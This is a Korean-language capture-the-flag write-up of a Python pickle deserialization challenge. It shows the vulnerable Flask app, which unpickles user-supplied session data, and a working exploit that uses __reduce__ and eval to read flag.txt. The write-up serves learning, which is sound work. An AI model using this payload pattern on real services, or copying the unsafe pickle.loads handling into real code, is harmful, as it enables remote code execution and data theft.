[LEVEL-2] web-deserialize-python
이 문제에서 주목해야하는 취약점을 알려줬다
무슨 취약점인지 모르지만 일단 python의 pickle에서 Deserialize 취약점을 이용하여 문제를 풀면 되는 것 같다
문제 사이트에 들어가보자
'Create Session'과 'Check Session' 두 가지 탭이 존재한다
첫 번째 탭은 세션을 만드는 기능을 하는 탭인 것 같고, 두 번째 탭은 만든 세션을 조회하는 기능을 하는 탭인 것 같다
첫 번째 탭에서 Name, Userid, Password를 설정한 세션을 만들 수 있는 것 같고
두 번째 탭에서 만든 세션을 조회할 수 있는 것 같은데, 무슨 값을 session input에 넣어서 조회를 해야할지 모르겠으니 일단 첫 번째 탭으로 돌아가서 test 세션을 만들어보자
세 가지 값에 'test' 값을 각각 넣어주고 create해주니 어떤 코드 값이 나온다
그럼 여기서 나온 코드 값을 조회하는 탭에 가서 session input에 코드 값을 넣고 조회를 하면 내가 만든 test 세션을 조회 할 수 있는 것 같다
작동하는 것을 확인했으니 문제에서 제공하는 소스파일을 보고 어떤 방식으로 작동하고 있는지 살펴보자
#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
INFO = ['name', 'userid', 'password']
@app.route('/')
def index():
return render_template('index.html')
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
app.run(host='0.0.0.0', port=8000)
위 코드는 문제 전체 소스파일로 하나하나 살펴보자
INFO = ['name', 'userid', 'password']
이 부분은 우리가 세션을 생성할 때 제공한 name, userid, password 각각의 값을 INFO로 정의 하는 것 같다
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
Create session 페이지를 구성하는 코드이다
우리가 제공한 name, userid, password를
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
위 코드를 통해 python의 모듈인 pickle을 사용하여 bytes형태로 덮어씌우고 base64로 인코드하여 data에 저장하는 것 같다
- pickle이란?
data serialize에 사용하는 파이썬 모듈이다
serialize란 class나 fuction 등을 문자열 형태로 바꾸는 것이다
위에서 사용한 ' pickle.dumps '는 객체 obj의 피클 된 표현을 파일에 쓰는 대신 bytes 객체로 리턴하는 것이다
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
이것은 Check_session 페이지를 구현하는 코드에 해당하는 부분으로
위의 base64코드로 변환된 코드를 sesssion input에 값을 넣고 체크 할 경우 그에 해당하는 세션을 조회하는 기능을 구현하는 것으로 보인다
대충 문제에서 제공한 소스코드를 살펴보았고 이제 문제를 본격적으로 풀어보자
문제 설명에서 힌트로 준 취약점에 대해서 조사를 해봤다
Python deserialize 취약점
(pickle은 위에서 설명했기 때문에 생략)
- 출처 - https://velog.io/@hunjison/python-deserialize-%EC%B7%A8%EC%95%BD%EC%A0%90
python deserialize 취약점
원리에 대한 내용보다는 실제 필요한 내용만 간단하게 정리.python pickle 모듈은 data serialize에 쓰는 모듈이다.serialize란 class나 function 등을 문자열의 형태로 바꿀 수 있는 것이다.pickle의 간단한 사
velog.io
pickle 사용예시
import pickle
data = {'name': 'jihun', 'userid': 'hunjison', 'password': 'passpass'}
# serialize
serialized_data = pickle.dumps(data) # type : bytes
# deserialize
deserialized_data = pickle.loads(serialized_data)
취약점은 pickle 데이터를 loads 하는 과정에서 동작하는 내장 함수인 __reduce__()에서 발생한다고 한다.
payload 짜는 과정은 아래와 같다.
class Exploit:
def __reduce__(self):
cmd = "print('It can print or something')"
return (__builtins__.eval, (cmd,))
payload = pickle.dumps(Exploit())
print(payload)
블로그에서는 위 페이로드에서 cmd 부분만 상황에 맞게 바꾸어주면 된다고 되어있다.
위 사진에서 보이듯 이 취약점을 이용하여 객체에 대한 검증 없이 실행을 한다는 것을 보면 위 페이로드를 사용하여 'flag.txt' 파일을 읽어서 출력하게끔 하면 될 것 같다
바로 위 사진과 위에서 설명한 페이로드를 참고하여 봐보자면
'cmd ='부분에 우리가 사용할 익스플로잇 코드(flag.txt 파일을 읽는 코드)를 적고 그것을 'data_evil'에 문제에 걸맞는 인자에 '__reduce__()'함수를 통해 로드 한 값을 저장하는 방식으로 하면 되지 않을까 생각이 든다
Exploit Code
우선 이 문제는 세션을 조회하는 페이지에서 base64로 인코딩 된 코드로 세션을 조회하는 방식이기 때문에 바로 위에서 설명한듯이 페이로드를 작성하여 저장한 값을 base64로 인코딩한 값을 세션 조회 페이지에 조회하면 아마 인젝션 되어 flag를 출력할 것 같다
위 설명 처럼 exploit code를 작성해봤다
import pickle, base64
class Exploit:
def __reduce__(self):
cmd = "open('./flag.txt').read()"
return (__builtins__.eval, (cmd,))
payload = {'name':Exploit()}
print(base64.b64encode(pickle.dumps(payload)).decode('utf8'))
exploit code를 설명해보자면
우선 6번째 까지는 위에서 충분히 설명했기 때문에 넘어가겠다
문제는 8번째 줄 부터이다. 우리가 위에서 __reduce__()를 사용하여 return 받은 값을 payload에 저장하는데, 이름이 'name'인 인자 값으로 변경해준 이유는 세션을 조회하는 페이지에서 우리가 읽은 flag.txt의 내용을 name인자의 내용에 출력하기 위함이다.
그리고 9번째 줄은 위에서 설명한대로 base64로 인코딩 된 값을 세션을 조회하는데 사용하기 때문에 문제의 소스코드에서 사용한 방법 그대로 base64로 인코딩해서 코드 값을 만들어주면 우리가 원하는 코드를 담고있는 세션 base64코드 값이 출력 되고 그 값을 세션 조회 페이지에 조회하면 name인자 값에 flag.txt 내용이 출력되게 될 것이다.
이런식으로 코드가 성공적으로 출력이 되었다면 세션 조회 페이지에 조회 해보자
성공적으로 flag.txt의 내용을 name의 값으로 출력했다